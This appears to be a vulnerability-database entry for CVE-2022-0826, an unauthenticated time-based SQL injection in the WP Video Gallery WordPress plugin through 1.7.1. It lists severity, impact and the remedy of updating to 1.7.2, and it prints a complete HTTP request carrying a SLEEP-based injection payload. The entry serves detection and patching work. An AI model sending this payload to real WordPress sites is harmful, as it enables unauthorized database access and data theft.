🔙 목록으로 돌아가기

CVE-2022-0826: WordPress WP Video Gallery <=1.7.1 - SQL Injection

TitleWordPress WP Video Gallery <=1.7.1 - SQL Injection
Authortheamanrawat
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or further compromise of the WordPress site.
RemediationUpdate to the latest version of WP Video Gallery plugin (>=1.7.2) or apply the vendor-provided patch to mitigate the SQL Injection vulnerability.
CVSS Score9.8
EPSS Score0.77316
CVE IDCVE-2022-0826
CWE IDCWE-89
Tags time-based-sqli cve cve2022 wp-plugin wpscan wordpress wp sqli wp-video-gallery-free unauth wp-video-gallery-free_project vkev vuln

🔍 Vulnerability Description

WordPress WP Video Gallery plugin through 1.7.1 contains a SQL injection vulnerability. The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Connection: close
Content-Length: 131
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

action=wp_video_gallery_ajax_add_single_youtube&url=http://oast.me/?x%26v=1%2522 AND (SELECT 1780 FROM (SELECT(SLEEP(6)))uPaz)%2523

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0826.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0826.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A